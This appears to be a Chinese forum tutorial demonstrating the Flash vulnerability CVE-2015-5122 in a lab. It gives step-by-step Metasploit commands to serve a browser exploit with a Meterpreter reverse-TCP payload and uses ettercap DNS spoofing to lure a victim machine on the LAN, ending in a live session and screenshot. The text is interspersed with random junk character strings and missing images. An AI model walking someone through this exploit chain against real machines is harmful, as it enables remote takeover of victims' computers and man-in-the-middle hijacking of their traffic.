cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机 7 [, a% i. L7 c3 B

. ^+ C& e5 k5 }3 |9 R% r

4 p* ~- {8 U1 ?$ |( E6 H# q   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

; t! |7 O5 j- w* T3 o) m+ S search cve-2015-5122如图：

) g T, H) T& U0 X, ^

  & i! A; b; N& r t3 [7 Q( O: R) I

2 N+ J9 \: X! o( l

下面我们敲如下命令： , f9 d F7 ~ k. \; L

& L- j( E: t2 s# X use exploit/multi/browser/adobe_flash_opaque_background_uaf 8 g2 }0 b, K1 f3 _$ Z

& s8 ~) {, e% @9 A1 L* |# C6 ^" P

5 ~4 B [/ k7 u5 r! r: o: I5 \ set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.0.109 . s5 x- Z5 c2 t9 f. T& s4 P8 G

set URIPATH /                        /*根目录*/ - V9 F# [2 u% C$ r/ ~) o7 @. I

# ~( S- D" z2 S5 i3 t* X0 \

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

2 {) h: T* z* o z/ P' a3 y

T6 z; A- ~- P# G set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

1 ^) e( i9 x$ e7 {" n4 c5 y

+ B) O/ L( x4 F: x 然后show options如图：

) u: v7 Q( ^4 A Y, J

/ Q' j- ? |- P- k: H2 |4 \  

2 O; j M9 X) O! V- H/ K4 D8 z9 B8 B

6 b* J# A2 s- b& U/ u: e 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
5 c5 j6 b) e: d: [

c6 G/ d1 h9 J9 U H- |) a 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

p, P" l8 V9 f R( X+ K Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf - a5 P. |* Y5 R+ ] \

2 O) r5 G7 |+ b9 ^5 m6 j2 i8 I   . ~; l2 v0 E& Y

$ G9 R: w' f' y8 e5 b, w

成功了，这时候我们断开ettercap，如图： , G2 y# F7 n+ a2 d; f/ j

  + p6 a! k" W0 C% U* y

. A+ ]4 y. X( T/ r2 q

Screenshot如图： ) X5 _. ^& b; X

* A5 U: O* G/ t# g) J- l

8 c" T( U# r6 _* B( [) h  

! g3 }( Z" n# a+ ?9 p" N